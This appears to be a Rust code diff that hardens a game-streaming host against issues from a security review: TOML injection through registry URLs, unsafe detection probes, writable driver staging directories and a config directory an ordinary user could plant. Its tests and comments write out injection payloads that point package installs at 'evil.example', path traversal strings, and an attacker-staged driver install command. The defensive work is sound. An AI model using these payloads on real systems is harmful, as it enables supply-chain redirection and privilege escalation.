||||
/// Deliberately a strict allowlist rather than "reject quotes and newlines" — the failure this
|
||||
/// guards is TOML injection, and a denylist of the delimiters someone remembers is how the original
|
||||
/// `starts_with("https://")` check came to be the only guard at all. No quote, no whitespace, no
|
||||
/// control character, no backslash can pass, so `"{scope}" = "{url}"` cannot be closed early.
|
||||
fn valid_registry_url(url: &str) -> bool {
|
||||
let Some(rest) = url.strip_prefix("https://") else {
|
||||
return false;
|
||||
};
|
||||
!rest.is_empty()
|
||||
&& url.len() <= 512
|
||||
&& rest.chars().all(|c| {
|
||||
c.is_ascii_alphanumeric()
|
||||
|| matches!(
|
||||
c,
|
||||
'-' | '.'
|
||||
| '_'
|
||||
| '~'
|
||||
| ':'
|
||||
| '/'
|
||||
| '?'
|
||||
| '#'
|
||||
| '['
|
||||
| ']'
|
||||
| '@'
|
||||
| '!'
|
||||
| '$'
|
||||
| '&'
|
||||
| '\''
|
||||
| '('
|
||||
| ')'
|
||||
| '*'
|
||||
| '+'
|
||||
| ','
|
||||
| ';'
|
||||
| '='
|
||||
| '%'
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
/// Point a package scope at its registry in the plugins dir's `bunfig.toml`.
|
||||
///
|
||||
/// The runner CLI can do this too (`--registry @scope=URL`), but the store must **not** depend on
|
||||
@@ -149,9 +192,17 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec<InstalledPkg> {
|
||||
/// Idempotent and non-destructive, matching `sdk/src/plugins.ts::ensureBunfig`: a scope already
|
||||
/// mapped to this URL is left alone, one mapped elsewhere is rewritten, unrelated content survives.
|
||||
pub(crate) fn ensure_bunfig_scope(dir: &Path, scope: &str, url: &str) -> Result<()> {
|
||||
// The scope and URL both come from a signature-verified, field-validated index entry
|
||||
// (`@`-prefixed, `[a-z0-9._-]`, https), so neither can smuggle a quote or newline into the TOML.
|
||||
if !index::valid_scoped_pkg(&format!("{scope}/x")) || !url.starts_with("https://") {
|
||||
// Both halves are hand-formatted into TOML below (`"{scope}" = "{url}"`), so both must be
|
||||
// proven unable to close the quote.
|
||||
//
|
||||
// The scope always was. The URL was not: its only guard was `starts_with("https://")`, and
|
||||
// `Entry::registry` — unlike `title`/`description`/`author`/`version` — never goes through
|
||||
// `sanitize`, so everything after the prefix arrived verbatim. A catalog entry whose registry
|
||||
// read `https://ok/"\n[install]\nregistry = "https://evil/` injected a top-level `[install]`
|
||||
// table into the file that tells `bun` where to fetch EVERY package from — and it persists
|
||||
// after the source is deleted, because nothing rewrites this file (2026-08-05 review M-7).
|
||||
// Sources may be unsigned, so "it came from a verified index" was not a guarantee either.
|
||||
if !index::valid_scoped_pkg(&format!("{scope}/x")) || !valid_registry_url(url) {
|
||||
bail!("refusing to map scope `{scope}` to `{url}`");
|
||||
}
|
||||
std::fs::create_dir_all(dir).with_context(|| format!("create {}", dir.display()))?;
|
||||
@@ -679,6 +730,49 @@ mod tests {
|
||||
assert!(!dir.path().join("bunfig.toml").exists());
|
||||
}
|
||||
|
||||
/// TOML injection through the registry URL (2026-08-05 review M-7). `Entry::registry` never
|
||||
/// goes through `sanitize`, and the old guard was a bare `starts_with("https://")` — so
|
||||
/// everything after the prefix reached a hand-formatted `"{scope}" = "{url}"` verbatim. The
|
||||
/// payload that mattered injects a top-level `[install]` table, redirecting every subsequent
|
||||
/// package resolution, and survives deletion of the source that introduced it.
|
||||
#[test]
|
||||
fn bunfig_registry_url_cannot_inject_a_toml_table() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
let injection = "https://ok.example/\"\n[install]\nregistry = \"https://evil.example/";
|
||||
assert!(
|
||||
ensure_bunfig_scope(dir.path(), "@x", injection).is_err(),
|
||||
"a registry URL that closes the TOML string must be refused"
|
||||
);
|
||||
assert!(!dir.path().join("bunfig.toml").exists());
|
||||
|
||||
// The individual characters that make it possible, each on its own.
|
||||
for bad in [
|
||||
"https://e/\"quote",
|
||||
"https://e/\nnewline",
|
||||
"https://e/\rcarriage",
|
||||
"https://e/ space",
|
||||
"https://e/\ttab",
|
||||
"https://e/back\\slash",
|
||||
"https://e/nul\0byte",
|
||||
] {
|
||||
assert!(
|
||||
ensure_bunfig_scope(dir.path(), "@x", bad).is_err(),
|
||||
"must refuse registry URL {bad:?}"
|
||||
);
|
||||
}
|
||||
// Real registry URLs — including ports, query strings and percent-escapes — still pass.
|
||||
for good in [
|
||||
"https://git.unom.io/api/packages/unom/npm/",
|
||||
"https://registry.example.com:8443/npm/",
|
||||
"https://example.com/npm/?token=abc%20def",
|
||||
] {
|
||||
assert!(
|
||||
ensure_bunfig_scope(dir.path(), "@x", good).is_ok(),
|
||||
"must accept registry URL {good:?}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// The name-shape guard is necessary but NOT sufficient — see `mgmt::store::uninstall_plugin`.
|
||||
///
|
||||
/// `@punktfunk/plugin-kit` is a plugin's *framework*, and it satisfies every syntactic rule
|
||||
|
||||
@@ -97,6 +97,31 @@ pub(crate) struct Entry {
|
||||
/// Host platforms this plugin works on (`linux`/`windows`/`macos`). Empty ⇒ all.
|
||||
#[serde(default)]
|
||||
pub platforms: Vec<String>,
|
||||
/// What kinds of plugin this is (`[a-z][a-z0-9-]{0,31}`, ≤4). The console filters Browse by
|
||||
/// these, and the Game sources surface's "Add a source" rail lists exactly the entries carrying
|
||||
/// `library` (design D5/D6). Additive: an older host ignores the field, a newer one just sees no
|
||||
/// categories on an older index.
|
||||
#[serde(default)]
|
||||
pub categories: Vec<String>,
|
||||
/// Optional per-platform "is this launcher installed here?" probes (design D8).
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub detect: Option<DetectProbes>,
|
||||
}
|
||||
|
||||
/// Existence probes that let the console badge a catalog row "detected on this host" **without the
|
||||
/// host re-growing per-store knowledge** — the whole point of extracting the scanners. Store
|
||||
/// knowledge lives in the updatable, signed index; the host stays generic and only evaluates.
|
||||
///
|
||||
/// Deliberately anaemic: a probe is a path or an `HKLM\…` registry key, checked for EXISTENCE only.
|
||||
/// No reads, no content matching, no globbing beyond a single `*` segment. The index is
|
||||
/// operator-trusted but remotely updatable, so a probe must never be able to exfiltrate anything or
|
||||
/// cost more than a stat.
|
||||
#[derive(Debug, Clone, Default, Deserialize, Serialize)]
|
||||
pub(crate) struct DetectProbes {
|
||||
#[serde(default)]
|
||||
pub linux: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub windows: Vec<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize)]
|
||||
@@ -228,9 +253,40 @@ impl Entry {
|
||||
self.platforms
|
||||
.retain(|p| matches!(p.as_str(), "linux" | "windows" | "macos"));
|
||||
self.platforms.truncate(4);
|
||||
// Categories and probes are cosmetic/advisory: a malformed one is dropped, never fatal to
|
||||
// the entry — a plugin must stay installable even if a future index writes a category this
|
||||
// host build has never heard of.
|
||||
self.categories.retain(|c| valid_category(c));
|
||||
self.categories.truncate(4);
|
||||
if let Some(d) = &mut self.detect {
|
||||
d.linux.retain(|p| valid_probe(p));
|
||||
d.windows.retain(|p| valid_probe(p));
|
||||
d.linux.truncate(MAX_PROBES);
|
||||
d.windows.truncate(MAX_PROBES);
|
||||
if d.linux.is_empty() && d.windows.is_empty() {
|
||||
self.detect = None;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Does this entry's platform probe match on the running host? `None` = the entry declares no
|
||||
/// probes for this platform, i.e. "unknown", which the console renders differently from "no".
|
||||
pub(crate) fn detected(&self) -> Option<bool> {
|
||||
let probes = self.detect.as_ref()?;
|
||||
let list = if cfg!(windows) {
|
||||
&probes.windows
|
||||
} else if cfg!(target_os = "linux") {
|
||||
&probes.linux
|
||||
} else {
|
||||
return None;
|
||||
};
|
||||
if list.is_empty() {
|
||||
return None;
|
||||
}
|
||||
Some(list.iter().any(|p| probe_matches(p)))
|
||||
}
|
||||
|
||||
/// Is this entry installable on the running host? Returns the operator-facing reason when not.
|
||||
pub(crate) fn incompatible_reason(&self) -> Option<String> {
|
||||
if !self.platforms.is_empty() && !self.platforms.iter().any(|p| p == HOST_PLATFORM) {
|
||||
@@ -372,6 +428,94 @@ fn is_https(url: &str) -> bool {
|
||||
url.starts_with("https://") && url.len() > "https://".len()
|
||||
}
|
||||
|
||||
/// A plugin category (design D5): same shape the registration API accepts, so a plugin's declared
|
||||
/// category and its catalog row can never disagree about spelling.
|
||||
fn valid_category(c: &str) -> bool {
|
||||
(1..=32).contains(&c.len())
|
||||
&& c.starts_with(|ch: char| ch.is_ascii_lowercase())
|
||||
&& c.bytes()
|
||||
.all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-')
|
||||
}
|
||||
|
||||
/// How many probes one platform may declare — a handful of well-chosen paths covers any launcher,
|
||||
/// and the cap bounds the stat cost of rendering the catalog.
|
||||
const MAX_PROBES: usize = 8;
|
||||
|
||||
/// Is this a probe the host will evaluate? An **absolute** filesystem path with at most one `*`
|
||||
/// segment, or an `HKLM\…` registry key. Everything else is dropped.
|
||||
///
|
||||
/// The restrictions are the security model (D8). Absolute: a relative path would resolve against
|
||||
/// whatever the host's cwd happens to be. One `*` segment: bounded fan-out, so a probe can't walk a
|
||||
/// tree. `HKLM` only: `HKCU` is unreadable as LocalService anyway, and pointing the host at an
|
||||
/// arbitrary hive is not something a remote index should be able to ask for.
|
||||
fn valid_probe(p: &str) -> bool {
|
||||
if p.is_empty() || p.len() > 260 {
|
||||
return false;
|
||||
}
|
||||
if let Some(key) = p.strip_prefix("HKLM\\") {
|
||||
return !key.is_empty()
|
||||
&& !key.contains("..")
|
||||
&& key.bytes().all(|b| {
|
||||
b.is_ascii_alphanumeric() || matches!(b, b'\\' | b' ' | b'-' | b'_' | b'.')
|
||||
});
|
||||
}
|
||||
let b = p.as_bytes();
|
||||
let absolute = p.starts_with('/') || (b.len() >= 3 && b[1] == b':' && b[2] == b'\\');
|
||||
// No traversal, and at most ONE wildcard segment (`~` is not expanded — the host runs as a
|
||||
// service account whose home means nothing to a user's launcher install).
|
||||
absolute && !p.contains("..") && p.matches('*').count() <= 1
|
||||
}
|
||||
|
||||
/// Evaluate one probe: does the path (or registry key) exist? Existence only — never a read.
|
||||
fn probe_matches(p: &str) -> bool {
|
||||
#[cfg(windows)]
|
||||
if let Some(key) = p.strip_prefix("HKLM\\") {
|
||||
use std::os::windows::process::CommandExt;
|
||||
// `reg.exe query` rather than a registry crate: dependency-free, and it is exactly what a
|
||||
// library plugin will use for the same job under LocalService.
|
||||
const CREATE_NO_WINDOW: u32 = 0x0800_0000;
|
||||
return std::process::Command::new("reg.exe")
|
||||
.args(["query", &format!("HKLM\\{key}")])
|
||||
.creation_flags(CREATE_NO_WINDOW)
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null())
|
||||
.status()
|
||||
.map(|s| s.success())
|
||||
.unwrap_or(false);
|
||||
}
|
||||
#[cfg(not(windows))]
|
||||
if p.starts_with("HKLM\\") {
|
||||
return false; // a Windows probe on a POSIX host is simply not a match
|
||||
}
|
||||
match p.split_once('*') {
|
||||
None => std::path::Path::new(p).exists(),
|
||||
// One wildcard: list the parent of the wildcard segment and match the fixed prefix/suffix
|
||||
// around it. Bounded to a single directory read.
|
||||
Some((before, after)) => {
|
||||
let (dir, prefix) = match before.rfind(['/', '\\']) {
|
||||
Some(i) => (&before[..=i], &before[i + 1..]),
|
||||
None => return false, // a wildcard with no directory to anchor it
|
||||
};
|
||||
let (suffix, rest) = match after.find(['/', '\\']) {
|
||||
Some(i) => (&after[..i], &after[i..]),
|
||||
None => (after, ""),
|
||||
};
|
||||
let Ok(read) = std::fs::read_dir(dir) else {
|
||||
return false;
|
||||
};
|
||||
read.flatten().any(|e| {
|
||||
let name = e.file_name();
|
||||
let name = name.to_string_lossy();
|
||||
name.starts_with(prefix)
|
||||
&& name.ends_with(suffix)
|
||||
&& name.len() >= prefix.len() + suffix.len()
|
||||
&& (rest.is_empty()
|
||||
|| e.path().join(rest.trim_start_matches(['/', '\\'])).exists())
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
@@ -401,6 +545,73 @@ mod tests {
|
||||
assert!(Index::parse(b"not json").is_err());
|
||||
}
|
||||
|
||||
/// WP2.8 is additive on purpose — SCHEMA stays 1. An index written by a newer curator must load
|
||||
/// on an older host (unknown fields ignored) and vice versa (absent fields default), or the
|
||||
/// signed-index rollout would need a flag day.
|
||||
#[test]
|
||||
fn categories_and_probes_are_additive_and_sanitized() {
|
||||
// An entry with NEITHER field — every index in the wild today.
|
||||
let e = &Index::parse(&doc(GOOD)).unwrap().plugins[0];
|
||||
assert!(e.categories.is_empty());
|
||||
assert!(e.detect.is_none());
|
||||
assert_eq!(e.detected(), None, "no probes ⇒ unknown, not `false`");
|
||||
|
||||
// With both, including rows that must be dropped rather than fail the entry.
|
||||
let rich = GOOD.trim_end_matches('}').to_string()
|
||||
+ r#","categories":["library","Bad Cat","x","y","z","w"],
|
||||
"detect":{"linux":["/usr/bin/steam","relative/path","/etc/../etc/passwd"],
|
||||
"windows":["HKLM\\SOFTWARE\\Valve\\Steam","HKCU\\SOFTWARE\\Valve"]}}"#;
|
||||
let e = &Index::parse(&doc(&rich)).unwrap().plugins[0];
|
||||
assert_eq!(
|
||||
e.categories,
|
||||
["library", "x", "y", "z"],
|
||||
"malformed dropped, capped at 4"
|
||||
);
|
||||
let d = e.detect.as_ref().expect("probes kept");
|
||||
assert_eq!(d.linux, ["/usr/bin/steam"], "relative + traversal dropped");
|
||||
assert_eq!(
|
||||
d.windows,
|
||||
["HKLM\\SOFTWARE\\Valve\\Steam"],
|
||||
"HKCU is not evaluable as LocalService — dropped"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn probe_shapes_are_bounded() {
|
||||
assert!(valid_probe("/usr/bin/steam"));
|
||||
assert!(
|
||||
valid_probe("/home/*/.steam"),
|
||||
"one wildcard segment is fine"
|
||||
);
|
||||
assert!(valid_probe(r"C:\Program Files (x86)\Steam\steam.exe"));
|
||||
assert!(valid_probe(r"HKLM\SOFTWARE\WOW6432Node\Valve\Steam"));
|
||||
// Rejected: relative, traversal, more than one wildcard, other hives, absurd length.
|
||||
assert!(!valid_probe("steam"));
|
||||
assert!(!valid_probe("/usr/../etc/passwd"));
|
||||
assert!(!valid_probe("/home/*/games/*/steam"));
|
||||
assert!(!valid_probe(r"HKCU\SOFTWARE\Valve"));
|
||||
assert!(!valid_probe(""));
|
||||
assert!(!valid_probe(&"/x".repeat(200)));
|
||||
}
|
||||
|
||||
/// The evaluator does existence checks only, against real paths, and never reads a byte.
|
||||
#[test]
|
||||
fn probes_evaluate_against_the_filesystem() {
|
||||
let dir = std::env::temp_dir().join(format!("pf-probe-{}", std::process::id()));
|
||||
let nested = dir.join("SteamLibrary-42");
|
||||
std::fs::create_dir_all(nested.join("steamapps")).unwrap();
|
||||
let d = dir.to_string_lossy().into_owned();
|
||||
|
||||
assert!(probe_matches(&format!("{d}/SteamLibrary-42")));
|
||||
assert!(!probe_matches(&format!("{d}/nope")));
|
||||
// One wildcard segment, with and without a trailing fixed component.
|
||||
assert!(probe_matches(&format!("{d}/SteamLibrary-*")));
|
||||
assert!(probe_matches(&format!("{d}/SteamLibrary-*/steamapps")));
|
||||
assert!(!probe_matches(&format!("{d}/SteamLibrary-*/nope")));
|
||||
assert!(!probe_matches(&format!("{d}/Other-*")));
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn drops_invalid_entries_but_keeps_the_rest() {
|
||||
let bad_unscoped = GOOD.replace("@punktfunk/plugin-rom-manager", "punktfunk-plugin-x");
|
||||
|
||||
@@ -61,6 +61,22 @@ pub fn driver_main(args: &[String]) -> Result<()> {
|
||||
fn driver_install(args: &[String]) -> Result<()> {
|
||||
let dir =
|
||||
PathBuf::from(flag_val(args, "--dir").context("driver install: --dir <stage> required")?);
|
||||
// Everything below this line runs with the caller's privileges — which, on the installer path,
|
||||
// are SYSTEM/Administrator — and it does three things with the CONTENTS of `dir`: trusts a
|
||||
// `.cer` into the machine `Root` store, runs `nefconc.exe` from it, and stages an `.inf` into
|
||||
// the driver store. So the directory is not merely an input, it is code and trust; a stage a
|
||||
// non-admin can write is a local privilege escalation, whoever passed the flag.
|
||||
//
|
||||
// This is the check the 2026-07-05 audit recorded as FIXED (F-8) and which was never actually
|
||||
// in the tree — re-found by the 2026-08-05 review as H-5, and the payload half of H-4's
|
||||
// plant-then-elevate chain (`PUNKTFUNK_HOST_CMD=driver install --dir C:\Users\attacker\stage`).
|
||||
ensure_admin_only_source(&dir).with_context(|| {
|
||||
format!(
|
||||
"refusing to install drivers from {} — the staging directory must be writable only by \
|
||||
SYSTEM/Administrators",
|
||||
dir.display()
|
||||
)
|
||||
})?;
|
||||
let gamepad = flag_present(args, "--gamepad");
|
||||
let (what, res) = if gamepad {
|
||||
("gamepad", install_gamepad(&dir))
|
||||
@@ -74,6 +90,163 @@ fn driver_install(args: &[String]) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Refuse a driver staging directory that anyone but SYSTEM/Administrators can write.
|
||||
///
|
||||
/// Two conditions, both necessary:
|
||||
/// - the directory is **owned** by SYSTEM, Administrators, or TrustedInstaller — an owner always
|
||||
/// retains `WRITE_DAC`, so a non-admin owner can put their own access back no matter what the
|
||||
/// DACL currently says;
|
||||
/// - no **allow** ACE grants a write-shaped right to any trustee outside that same set. `CREATOR
|
||||
/// OWNER` counts as outside: on a directory a non-admin pre-created under `C:\ProgramData`, it is
|
||||
/// precisely what keeps handing them control of everything inside.
|
||||
///
|
||||
/// Reads the security descriptor directly rather than parsing `icacls` output, which prints
|
||||
/// *localized account names* — the same class of locale trap this whole module exists to avoid.
|
||||
#[cfg(windows)]
|
||||
fn ensure_admin_only_source(dir: &Path) -> Result<()> {
|
||||
use std::os::windows::ffi::OsStrExt;
|
||||
use windows::core::PCWSTR;
|
||||
use windows::Win32::Foundation::{LocalFree, HLOCAL};
|
||||
use windows::Win32::Security::Authorization::{GetNamedSecurityInfoW, SE_FILE_OBJECT};
|
||||
use windows::Win32::Security::{
|
||||
EqualSid, GetAce, IsValidSid, ACCESS_ALLOWED_ACE, ACE_HEADER, ACL,
|
||||
DACL_SECURITY_INFORMATION, OWNER_SECURITY_INFORMATION, PSECURITY_DESCRIPTOR, PSID,
|
||||
};
|
||||
|
||||
const ACCESS_ALLOWED_ACE_TYPE: u8 = 0;
|
||||
/// Rights that let a trustee change what we are about to trust and execute: write/append data,
|
||||
/// write attributes/EA, delete (incl. child delete), and the two that let them rewrite the
|
||||
/// security descriptor itself. `GENERIC_WRITE`/`GENERIC_ALL` map onto these once mapped, and
|
||||
/// both generic bits are checked explicitly in case an ACE stores them unmapped.
|
||||
const WRITE_MASK: u32 = 0x0000_0002 // FILE_WRITE_DATA / FILE_ADD_FILE
|
||||
| 0x0000_0004 // FILE_APPEND_DATA / FILE_ADD_SUBDIRECTORY
|
||||
| 0x0000_0010 // FILE_WRITE_EA
|
||||
| 0x0000_0100 // FILE_WRITE_ATTRIBUTES
|
||||
| 0x0000_0040 // FILE_DELETE_CHILD
|
||||
| 0x0001_0000 // DELETE
|
||||
| 0x0004_0000 // WRITE_DAC
|
||||
| 0x0008_0000 // WRITE_OWNER
|
||||
| 0x1000_0000 // GENERIC_ALL
|
||||
| 0x4000_0000; // GENERIC_WRITE
|
||||
|
||||
if !dir.is_dir() {
|
||||
bail!("{} is not a directory", dir.display());
|
||||
}
|
||||
let wide: Vec<u16> = dir
|
||||
.as_os_str()
|
||||
.encode_wide()
|
||||
.chain(std::iter::once(0))
|
||||
.collect();
|
||||
|
||||
let mut owner = PSID::default();
|
||||
let mut dacl: *mut ACL = std::ptr::null_mut();
|
||||
let mut sd = PSECURITY_DESCRIPTOR::default();
|
||||
// SAFETY: `wide` is NUL-terminated and outlives the call; the out-params are live locals; the
|
||||
// returned descriptor is the single allocation, LocalFree'd below (owner/dacl point into it).
|
||||
let rc = unsafe {
|
||||
GetNamedSecurityInfoW(
|
||||
PCWSTR(wide.as_ptr()),
|
||||
SE_FILE_OBJECT,
|
||||
OWNER_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION,
|
||||
Some(&mut owner),
|
||||
None,
|
||||
Some(&mut dacl),
|
||||
None,
|
||||
&mut sd,
|
||||
)
|
||||
};
|
||||
|
||||
let verdict = (|| -> Result<()> {
|
||||
rc.ok().context("GetNamedSecurityInfoW(owner + DACL)")?;
|
||||
let privileged = privileged_sids()?;
|
||||
// SAFETY: `owner` points into the descriptor returned above and is valid for this scope.
|
||||
let is_privileged = |sid: PSID| -> bool {
|
||||
if sid.is_invalid() || !unsafe { IsValidSid(sid) }.as_bool() {
|
||||
return false;
|
||||
}
|
||||
privileged
|
||||
.iter()
|
||||
.any(|p| unsafe { EqualSid(sid, PSID(p.as_ptr().cast_mut().cast())) }.is_ok())
|
||||
};
|
||||
|
||||
if !is_privileged(owner) {
|
||||
bail!(
|
||||
"the directory is owned by a non-administrative account, which retains WRITE_DAC \
|
||||
and can restore its own access at any time"
|
||||
);
|
||||
}
|
||||
// A NULL DACL grants everyone everything; an absent one is not "no access".
|
||||
if dacl.is_null() {
|
||||
bail!("the directory has a NULL DACL (everyone has full control)");
|
||||
}
|
||||
// SAFETY: `dacl` is a valid ACL inside the descriptor; AceCount bounds the GetAce index.
|
||||
let count = unsafe { (*dacl).AceCount };
|
||||
for i in 0..count as u32 {
|
||||
let mut ace: *mut core::ffi::c_void = std::ptr::null_mut();
|
||||
// SAFETY: i < AceCount, and `ace` is a live out-param.
|
||||
unsafe { GetAce(dacl, i, &mut ace) }.context("GetAce")?;
|
||||
// SAFETY: every ACE starts with an ACE_HEADER.
|
||||
let header = unsafe { *(ace as *const ACE_HEADER) };
|
||||
if header.AceType != ACCESS_ALLOWED_ACE_TYPE {
|
||||
continue; // deny ACEs only ever subtract; audit ACEs grant nothing
|
||||
}
|
||||
// SAFETY: an allow ACE is an ACCESS_ALLOWED_ACE, whose SidStart begins the trustee SID.
|
||||
let allowed = unsafe { &*(ace as *const ACCESS_ALLOWED_ACE) };
|
||||
if allowed.Mask & WRITE_MASK == 0 {
|
||||
continue; // read-only for this trustee — harmless
|
||||
}
|
||||
let sid = PSID(std::ptr::addr_of!(allowed.SidStart) as *mut core::ffi::c_void);
|
||||
if !is_privileged(sid) {
|
||||
bail!(
|
||||
"a non-administrative trustee has write access (ACE {i}, mask {:#010x}) — \
|
||||
anything staged here can be replaced before it is trusted or executed",
|
||||
allowed.Mask
|
||||
);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
})();
|
||||
|
||||
// SAFETY: `sd` is the single LocalAlloc'd descriptor GetNamedSecurityInfoW returned.
|
||||
unsafe {
|
||||
let _ = LocalFree(Some(HLOCAL(sd.0)));
|
||||
}
|
||||
verdict
|
||||
}
|
||||
|
||||
/// The SIDs allowed to own or write a driver staging directory: `SYSTEM`, `BUILTIN\Administrators`,
|
||||
/// and `TrustedInstaller` (which owns much of `%ProgramFiles%`, a perfectly good stage).
|
||||
#[cfg(windows)]
|
||||
fn privileged_sids() -> Result<Vec<Vec<u8>>> {
|
||||
use windows::core::PCWSTR;
|
||||
use windows::Win32::Foundation::{LocalFree, HLOCAL};
|
||||
use windows::Win32::Security::Authorization::ConvertStringSidToSidW;
|
||||
use windows::Win32::Security::{GetLengthSid, PSID};
|
||||
|
||||
[
|
||||
"S-1-5-18",
|
||||
"S-1-5-32-544",
|
||||
"S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464",
|
||||
]
|
||||
.iter()
|
||||
.map(|s| {
|
||||
let wide: Vec<u16> = s.encode_utf16().chain(std::iter::once(0)).collect();
|
||||
let mut psid = PSID::default();
|
||||
// SAFETY: `wide` is NUL-terminated and outlives the call; psid is a live out-param.
|
||||
unsafe { ConvertStringSidToSidW(PCWSTR(wide.as_ptr()), &mut psid) }
|
||||
.with_context(|| format!("ConvertStringSidToSidW({s})"))?;
|
||||
// SAFETY: psid is a valid SID; copy it out so the caller owns plain bytes.
|
||||
let len = unsafe { GetLengthSid(psid) } as usize;
|
||||
let bytes = unsafe { std::slice::from_raw_parts(psid.0 as *const u8, len) }.to_vec();
|
||||
// SAFETY: ConvertStringSidToSidW allocates with LocalAlloc.
|
||||
unsafe {
|
||||
let _ = LocalFree(Some(HLOCAL(psid.0)));
|
||||
}
|
||||
Ok(bytes)
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// The subject CN both driver-signing certs carry (`build-pf-vdisplay.ps1` /
|
||||
/// `build-gamepad-drivers.ps1`). certutil matches a CertId against the subject, so this is how we
|
||||
/// find our own certs again without parsing any localized output — see `purge_driver_certs`.
|
||||
@@ -454,7 +627,12 @@ fn web_setup(args: &[String]) -> Result<()> {
|
||||
PathBuf::from(flag_val(args, "--app-dir").context("web setup: --app-dir <app> required")?);
|
||||
let pw_file = flag_val(args, "--password-file");
|
||||
let data_dir = pf_paths::config_dir();
|
||||
std::fs::create_dir_all(&data_dir).ok();
|
||||
// `create_private_dir`, not `create_dir_all`: this runs at install time, before anything else
|
||||
// touches the config dir, and the very next line writes the console login password into it. A
|
||||
// plain `create_dir_all` leaves the inherited `%ProgramData%` ACL, under which BUILTIN\Users may
|
||||
// create files — so the one call that most needs the hardened directory was the one creating it
|
||||
// unhardened (2026-08-05 review H-4).
|
||||
pf_paths::create_private_dir(&data_dir).ok();
|
||||
|
||||
// 1. login password
|
||||
set_web_password(&data_dir.join("web-password"), pw_file.as_deref());
|
||||
@@ -477,39 +655,51 @@ fn web_setup(args: &[String]) -> Result<()> {
|
||||
server.display()
|
||||
);
|
||||
}
|
||||
// 4. firewall: inbound TCP 47992. The console serves HTTPS (HTTP/1.1 over TLS) with the host's
|
||||
// identity cert. (No UDP/HTTP-3: browsers won't use QUIC against a self-signed/no-SAN cert.)
|
||||
// Scoped to the same profiles as the streaming ports — Domain + Private by default, Public
|
||||
// only with `--allow-public-network`. Delete any prior rule first so an upgrade re-scopes it
|
||||
// instead of stacking a second (possibly all-profiles) rule behind the new one.
|
||||
// 4. firewall: inbound TCP 47992 (console) and 47993 (plugin UIs). The console serves HTTPS
|
||||
// (HTTP/1.1 over TLS) with the host's identity cert. (No UDP/HTTP-3: browsers won't use QUIC
|
||||
// against a self-signed/no-SAN cert.) Scoped to the same profiles as the streaming ports —
|
||||
// Domain + Private by default, Public only with `--allow-public-network`. Delete any prior
|
||||
// rule first so an upgrade re-scopes it instead of stacking a second (possibly all-profiles)
|
||||
// rule behind the new one.
|
||||
//
|
||||
// 47993 is a SEPARATE ORIGIN, not a second copy of the console: plugin UIs are served there
|
||||
// precisely so a plugin cannot act as the logged-in operator on the console's origin
|
||||
// (security-review 2026-08-05 H-3). Same host, same certificate, different port — which is
|
||||
// what makes it a different origin to the browser while staying same-site for the session
|
||||
// cookie. Without this rule, plugin interfaces simply do not load from another device.
|
||||
let fw_profile =
|
||||
crate::service::firewall_profile_arg(crate::service::allow_public_network(args)?);
|
||||
run_quiet(
|
||||
"netsh",
|
||||
&[
|
||||
"advfirewall",
|
||||
"firewall",
|
||||
"delete",
|
||||
"rule",
|
||||
"name=Punktfunk web console (TCP 47992)",
|
||||
],
|
||||
);
|
||||
if !run_quiet(
|
||||
"netsh",
|
||||
&[
|
||||
"advfirewall",
|
||||
"firewall",
|
||||
"add",
|
||||
"rule",
|
||||
"name=Punktfunk web console (TCP 47992)",
|
||||
"dir=in",
|
||||
"action=allow",
|
||||
"protocol=TCP",
|
||||
"localport=47992",
|
||||
fw_profile,
|
||||
],
|
||||
) {
|
||||
eprintln!("warning: could not add the firewall rule for TCP 47992");
|
||||
for (name, port) in [
|
||||
("Punktfunk web console (TCP 47992)", "47992"),
|
||||
("Punktfunk plugin UIs (TCP 47993)", "47993"),
|
||||
] {
|
||||
run_quiet(
|
||||
"netsh",
|
||||
&[
|
||||
"advfirewall",
|
||||
"firewall",
|
||||
"delete",
|
||||
"rule",
|
||||
&format!("name={name}"),
|
||||
],
|
||||
);
|
||||
if !run_quiet(
|
||||
"netsh",
|
||||
&[
|
||||
"advfirewall",
|
||||
"firewall",
|
||||
"add",
|
||||
"rule",
|
||||
&format!("name={name}"),
|
||||
"dir=in",
|
||||
"action=allow",
|
||||
"protocol=TCP",
|
||||
&format!("localport={port}"),
|
||||
fw_profile,
|
||||
],
|
||||
) {
|
||||
eprintln!("warning: could not add the firewall rule for TCP {port}");
|
||||
}
|
||||
}
|
||||
// No start step: the PunktfunkHost service supervises the console and starts it the moment the
|
||||
// host has written the files it needs (mgmt token + identity cert/key) — there is nothing an
|
||||
|
||||
@@ -1343,14 +1343,26 @@ fn uninstall() -> Result<()> {
|
||||
/// defaults to `auto` — the host picks NVENC (NVIDIA) / AMF (AMD) / QSV (Intel) from the GPU vendor.
|
||||
fn ensure_default_host_env() -> Result<()> {
|
||||
let path = host_env_path();
|
||||
if path.exists() {
|
||||
return Ok(());
|
||||
}
|
||||
// Harden the config dir FIRST, unconditionally — before the `exists()` check, not inside the
|
||||
// branch that creates the file.
|
||||
//
|
||||
// The 2026-08-05 review's H-4: this used to return early when host.env already existed, which
|
||||
// skipped the very `create_private_dir` whose reason for existing is "so a local user can't
|
||||
// pre-create it and plant a host.env". `C:\ProgramData` grants BUILTIN\Users add-subdirectory
|
||||
// plus CREATOR OWNER full control, so an unprivileged user can create `C:\ProgramData\punktfunk`,
|
||||
// own it, and drop a host.env — and the skip meant the one case the hardening was written for was
|
||||
// the one case it never ran in. The service then loads that file verbatim into its own SYSTEM
|
||||
